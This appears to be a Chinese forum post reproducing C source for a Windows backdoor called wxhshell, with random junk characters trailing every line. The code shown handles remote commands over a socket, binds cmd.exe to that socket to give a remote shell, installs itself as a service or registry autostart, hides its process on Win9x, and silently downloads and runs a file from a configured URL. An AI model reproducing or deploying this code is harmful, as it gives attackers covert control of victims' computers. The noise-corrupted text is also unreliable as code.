g{V(WyT@  
    switch(cmd[0]) { 4Hz3 KKu  
  yv4x.cfI2W  
  // 帮助 \6|y~5Hw{r  
  case '?': { 1eD#-tzV  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); gy}3ZA*F  
    break; cy8>M))c  
  } 8J3#(aBm  
  // 安装 "du(BZw  
  case 'i': { m^QoB  
    if(Install()) _<(xjWp 8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2nyK'k  
    else C ~h#pAh  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Qn$'bK2V  
    break; \6wltTW]#  
    } @rYZ0`E9  
  // 卸载 +j 9+~  
  case 'r': { N|yA]dg[  
    if(Uninstall()) VeWh9:"bJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *:CTIV5N0  
    else !igPyhi,hl  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @&m [w'tn  
    break; NPH(v`  
    } LA6XTgcu  
  // 显示 wxhshell 所在路径 g=\(%zfsxr  
  case 'p': { !0l|[c4 e>  
    char svExeFile[MAX_PATH]; jA1S|gV  
    strcpy(svExeFile,"\n\r"); xRWfZ3E#  
      strcat(svExeFile,ExeFile); ec!e  
        send(wsh,svExeFile,strlen(svExeFile),0); PB^rniYh  
    break; w5i*pOG)Z  
    } X"TL'"?fo  
  // 重启 z\|<h=EU  
  case 'b': { uU)t_W&-J  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); >GIQT ?O6  
    if(Boot(REBOOT)) QT%`=b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m~+.vk  
    else { r ~{nlLO}  
    closesocket(wsh); "q?(rx;  
    ExitThread(0); 5$U49j  
    } 0aY|:  
    break; :$G^TD/n  
    } :rr<#F  
  // 关机 zu}uW,XH-  
  case 'd': { Vx!ZF+  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); I%4eX0QY=z  
    if(Boot(SHUTDOWN)) dcrvEc_/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =#2%[kGq  
    else { NN7KwVg  
    closesocket(wsh); - k0a((?  
    ExitThread(0); `lY-/Ty  
    } r.?dT |A  
    break; a0ms9%Y;Q[  
    } pss')YP.  
  // 获取shell UT@Qo}:  
  case 's': { #b d=G(o~6  
    CmdShell(wsh); eYv^cbO@:  
    closesocket(wsh); D!* SA  
    ExitThread(0); gkK(7=r%  
    break; PlCw,=K8f  
  } ar@,SKU'K  
  // 退出 d*TH$-F!p  
  case 'x': { ~Xx}:@Ld  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); i{}m 8K)  
    CloseIt(wsh); s {*rBX8N  
    break; .\`M oH  
    } MZ)lNU l  
  // 离开 R Q 8"vF#  
  case 'q': { &LV'"2ng8  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); GfgHFv  
    closesocket(wsh); iu=@ h>C  
    WSACleanup(); *[>{ 9V  
    exit(1); sfVzVS[  
    break; zq5N@d F  
        } &#C|  
  } .D7Gog3^<  
  } JiqhCt\  
3Q&@l49q  
  // 提示信息 9a:(ab'  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ht\_YiDg3  
}  <}^p5|  
  } "Ml#,kU<T  
9n5uO[D  
  return; shLMj)7!  
} 'QpDx&~QP  
G~zfPBN0D  
// shell模块句柄 ,*[N_[  
int CmdShell(SOCKET sock) .Z`xNp  
{ E?&YcVA  
STARTUPINFO si; 3W[||V[r]<  
ZeroMemory(&si,sizeof(si)); >z3l@  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 6d5q<C_3t  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 4<EC50@.  
PROCESS_INFORMATION ProcessInfo; 6R2F,b(_  
char cmdline[]="cmd"; p;%5o0{1  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); &G-dxET]  
  return 0; nBd(p Oe  
} B<|Vm.D  
fHuWBC_YO  
// 自身启动模式 5rtE/ {A  
int StartFromService(void) >kuu\  
{ oh:.iL}j  
typedef struct Eg4&D4TG p  
{ }_}LaEYAo  
  DWORD ExitStatus; d_[ zt)  
  DWORD PebBaseAddress; 6m:$RW  
  DWORD AffinityMask; oB<!U%BN  
  DWORD BasePriority; F)aF.'$-/  
  ULONG UniqueProcessId; ;+3@S`2r  
  ULONG InheritedFromUniqueProcessId; *I9O63  
}   PROCESS_BASIC_INFORMATION; Yru,YA   
;wHyX)&X $  
PROCNTQSIP NtQueryInformationProcess; M"Y ,kA|+  
p CeCR  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; .8|"@  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ^C2SLLgeJ  
M3fTU CR  
  HANDLE             hProcess; n482?Wp  
  PROCESS_BASIC_INFORMATION pbi; *]Eyf")  
Q0XSQOl  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); #8WHIDS>  
  if(NULL == hInst ) return 0; 2H1?f|0>  
5z.Y}  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); eV9,G8  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 4^^=^c  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); MMQ\V(C  
/i"1e:cK  
  if (!NtQueryInformationProcess) return 0; r+a0.  
F_iZ|B  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); u&j_;Y!6  
  if(!hProcess) return 0; #Fh:z4  
;IT'6m`@W  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; t&o&gb  
bc6|]kB:  
  CloseHandle(hProcess); "Qk)EY  
2FM}" g<8  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Vzh\ 1cF  
if(hProcess==NULL) return 0;  cj|Urt  
C5TC@w1*  
HMODULE hMod; 4@jX{{^6%  
char procName[255]; &8JK^zQq  
unsigned long cbNeeded; gZL,xX  
VP }To  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); [n$6 T  
O~5*X f  
  CloseHandle(hProcess); CeUC[cUQU  
WFfn:WSWU  
if(strstr(procName,"services")) return 1; // 以服务启动 ' $"RQ=  
gAK"ShOhG=  
  return 0; // 注册表启动 'On%p|s)H  
} xH>j  
}u;`k'J@  
// 主模块 +o K*5 Y  
int StartWxhshell(LPSTR lpCmdLine) To,*H OP  
{ z7HM/<WY  
  SOCKET wsl; ~Vf A  
BOOL val=TRUE; OyIIJ!(  
  int port=0; vSwRj<|CF  
  struct sockaddr_in door; [`!%u3  
,3Aiz|v-  
  if(wscfg.ws_autoins) Install(); YLb$/6gj6  
-o@L"C>   
port=atoi(lpCmdLine); )< p ~  
3]pHc)p!.  
if(port<=0) port=wscfg.ws_port; rw[Ioyr-  
n]jw!;  
  WSADATA data; yKC1h`2  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 7Q?^wx  
@jKB[S;JSn  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   f%rZ2h)  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); #j)"#1IE2W  
  door.sin_family = AF_INET; |u+!CR  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); \%&eDE0  
  door.sin_port = htons(port); W@D./Th  
?$VkMu$2k  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { :a9   
closesocket(wsl);  upGLZ#  
return 1; QSOG(}w  
} ;?%_jB$P  
a`>H69(bU  
  if(listen(wsl,2) == INVALID_SOCKET) { KC nm_4  
closesocket(wsl); ]AX3ov6z9;  
return 1; 9T0g%&  
} -\2hSIXj  
  Wxhshell(wsl); <jBRUa[j_  
  WSACleanup(); N! I$Qtr,  
L2OR<3*|Av  
return 0; 5<YL^m{/L  
wOsg,p;\'  
} PlCj<b1D:  
jwP5pu  
// 以NT服务方式启动 ^!gq_x  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) "uFwsjz&B  
{ 9*r^1PRc  
DWORD   status = 0; Nnq1&j"m  
  DWORD   specificError = 0xfffffff; (%mV,2|:20  
]J@-,FFC  
  serviceStatus.dwServiceType     = SERVICE_WIN32; \>X!n2rLZe  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; h}kJ,n  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; F~eY'~&H}  
  serviceStatus.dwWin32ExitCode     = 0; ^b.#4i (v  
  serviceStatus.dwServiceSpecificExitCode = 0; g/VV2^,  
  serviceStatus.dwCheckPoint       = 0; d</F6aM\  
  serviceStatus.dwWaitHint       = 0; dT[JVl+3=  
4u+0 )<  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); _ ,/~P)  
  if (hServiceStatusHandle==0) return; e5 }amrz  
3R0ioi 7  
status = GetLastError(); (|NCxey  
  if (status!=NO_ERROR) gd*2*o$g(  
{ :2K@{~8r  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ]qxl^Himq  
    serviceStatus.dwCheckPoint       = 0; Dp!91NgB p  
    serviceStatus.dwWaitHint       = 0; 'C]Y h."u  
    serviceStatus.dwWin32ExitCode     = status; 8QoxU" c&  
    serviceStatus.dwServiceSpecificExitCode = specificError; x0WinLQ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); gY8$Rk %  
    return; .ws86stFSb  
  } /(.:l +[w[  
: ]+6l  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; } `5k^J$x  
  serviceStatus.dwCheckPoint       = 0; tym:C7v%~  
  serviceStatus.dwWaitHint       = 0; 5n{d jP  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 3bYjW=_hA  
} Ri~$hs!  
H2+b3y-1a]  
// 处理NT服务事件,比如:启动、停止 L9lJ4s  
VOID WINAPI NTServiceHandler(DWORD fdwControl) j[.nk  
{ ^\&FowpP  
switch(fdwControl) om2N*W.gk  
{  *} ?  
case SERVICE_CONTROL_STOP: =^i K^)  
  serviceStatus.dwWin32ExitCode = 0; igW* {)h3  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; >7zC-3  
  serviceStatus.dwCheckPoint   = 0; x~vNUyEN)  
  serviceStatus.dwWaitHint     = 0; QXN_ ?E,g/  
  { &N._}ts  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); &T~X`{V]`  
  } EK Vcz'w  
  return; N2"B\  
case SERVICE_CONTROL_PAUSE: w"wW0uE^  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; M/dgW` c  
  break; N+@ Ff3M  
case SERVICE_CONTROL_CONTINUE: w.a9}GC  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; b5LToy:  
  break; r9OgezER  
case SERVICE_CONTROL_INTERROGATE: ?-vWNv  
  break; V`1{*PrI@L  
}; 7XK0vKmW3  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !Yv_V]u=  
} & UOxS W  
#Uu,yHMv:;  
// 标准应用程序主函数 jr?/wtw  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 9`*Eeb>  
{ $_E.D>5^%7  
5P%#5Yr2  
// 获取操作系统版本 _ERtL5^  
OsIsNt=GetOsVer(); $3G^}A"  
GetModuleFileName(NULL,ExeFile,MAX_PATH);  3Iv^  
$R/@8qnP W  
  // 从命令行安装 $Dj8 a\L  
  if(strpbrk(lpCmdLine,"iI")) Install(); hm! J@  
Lo{wTYt:J  
  // 下载执行文件 XGR2L DR  
if(wscfg.ws_downexe) { _ZK^J S  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) N*}soMPV^.  
  WinExec(wscfg.ws_filenam,SW_HIDE); N68$b#9Ry  
} k`8O/J  
t4_yp_  
if(!OsIsNt) { ?J2A1iuq3  
// 如果时win9x,隐藏进程并且设置为注册表启动 kt2_WW[  
HideProc(); =J IceLL  
StartWxhshell(lpCmdLine); z7bJV/f  
} `}l%61n0  
else tr[}F7n9  
  if(StartFromService()) X$we\t  
  // 以服务方式启动 WJh TU@'  
  StartServiceCtrlDispatcher(DispatchTable); mG&A_/e!9  
else W3tin3__  
  // 普通方式启动 N7_eLhPt*8  
  StartWxhshell(lpCmdLine); ]EX6Y  
DOKe.k  
return 0; kg]6q T;Y  
}
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只看该作者 1 发表于: 2006-10-10
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